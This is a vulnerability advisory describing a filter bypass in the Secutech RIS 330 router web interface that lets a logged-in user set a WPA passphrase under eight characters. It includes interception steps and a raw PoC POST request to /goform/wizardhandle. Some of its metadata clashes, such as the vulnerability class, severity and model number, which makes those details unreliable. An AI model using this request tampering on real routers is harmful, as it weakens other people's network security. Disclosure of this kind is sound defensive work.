Secutech DSL WR RIS 330 - Filter Bypass Vulnerability

Document Title:
===============
Secutech DSL WR RIS 330 - Filter Bypass Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=1988


Release Date:
=============
2018-07-08


Vulnerability Laboratory ID (VL-ID):
====================================
1988


Common Vulnerability Scoring System:
====================================
3.3


Vulnerability Class:
====================
Cross Site Scripting - Persistent


Current Estimated Price:
========================
500€ - 1.000€


Product & Service Introduction:
===============================
The leader in the Venezuelan market, specializing in the development of safety devices, communication 
and networking for companies and households brand. This wireless router works with a speed up to 300Mbps 
are available in red, yellow, orange, blue, green and gray. It has three 5dBi antennas for better coverage. 
Supports WEP, WPA and WPA2 also supports WDS to continuously expand its wireless network. It complies with 
IEEE 802.11n/g/b. It works with any browser and its configuration is fast and easy using any Internet browser.

(Copy of the Homepage: http://www.secutechnology.com/ris-22.html )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a filter bypass vulnerability in the official Secutech DSL Wireless Router RIS 330 web-application.


Vulnerability Disclosure Timeline:
==================================
2018-07-09:	Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
SecuTech
Product: DSL Router - Wireless  RIS 300 5.07.52_es_FRI01 


Exploitation Technique:
=======================
Local


Severity Level:
===============
Low


Authentication Type:
====================
Restricted Authentication (Guest Privileges)


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Full Disclosure


Technical Details & Description:
================================
A filter bypass web vulnerability has been discovered in the official Secutech DSL Wireless Router RIS 330 web-application.
The filter bypass web vulnerability allows an attacker to evade the controls of a restriction- or protection mechanism.

The issue allows an attacker to change the wireless passphrase to an insecure passphrase which is forbidden by the applications 
javascript engine & the current measures of minimum WPA Length less than 8 keys. The vulnerability affects the `Secutech DSL Routers` 
manufactured by Secutech Inc for communications. 

The remote attacker can request to add/edit via POST which changes the wireless passphrase. Then the attacker changes the followup 
parameter `wirelesspassword` to manipulate. The filter won`t allow authenticated users to set a passphrase less than 8 characters. 
The attack results in bypass f the filter and allows the attacker to setup any passphrase (wpa needs at least 8 chars) without 
secure approval. Thus issue can be exploited by automated scripts to perform attacks against the preeshare mechanism because of 
no secure request validation and restriction.

The security risk of the bypass vulnerability is estimated as medium and the cvss (common vulnerability scoring system) count is 3.3. 
Exploitation of the filter bypass vulnerability requires a privileged web-application user account and medium user interaction. 
Successful exploitation of the vulnerability results in unauthorized access by setting a low secured passphrase key for WPA and WPA2.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] ./goform/wizardhandle

Vulnerable Parameter(s):
[+] wirelesspassword


Proof of Concept (PoC):
=======================
The filter bypass vulnerability can be exploited by local attacker with privileged user account and without user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the vulnerability ...
1. Start the router for example in your local lan network 
2. Access routers ui interface by usage of the network ip of the router (exp. 192.168.0.1)
3. Login to the router and access the interface 
4. Run a session tamper or any other tool to intercept the http communication 
Setup the javascript filter , and change the wireless password into less than 8 or even just 1234 
5. Process to submit the changes via POST
6. Successfully reproduce the local vulnerability!

Video: https://www.youtube.com/watch?v=6OYaoRsoa0I


--- PoC Session Logs [POST] ---
POST /goform/WizardHandle HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/index.asp
Cookie: language=en; admin:language=en
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 131

MACC=&GO=advance.asp&v12_time=1477567396.02&WANT1=3&net_type=2&PUN=Lawrence%40connecy.au&PPW=hivulnerable&wirelesspassword=7331

RESPONSE-----
HTTP/1.0 302 Redirect
Server: GoAhead-Webs
Pragma: no-cache
Cache-Control: no-cache
Content-Type: text/html
Location: http://localhost/notice.asp

<html><head></head><body>
  This document has moved to a new <a href="http://localhost/notice.asp">location</a>.
  Please update your documents to reflect the new location.
  </body></html>


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a restriction and approval of the affected key parameter in the POST method request.
Disallow to save any input less then 8 characters to permanently grant the security of the customer using the mentioned hardware.


Security Risk:
==============
The security risk of the filter bypass router vulnerability in the password setup module is estimated as medium (CVSS 3.3).


Credits & Authors:
==================
Lawrence Amer [[email protected]] - https://www.vulnerability-lab.com/show.php?user=Lawrence+Amer


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=========================
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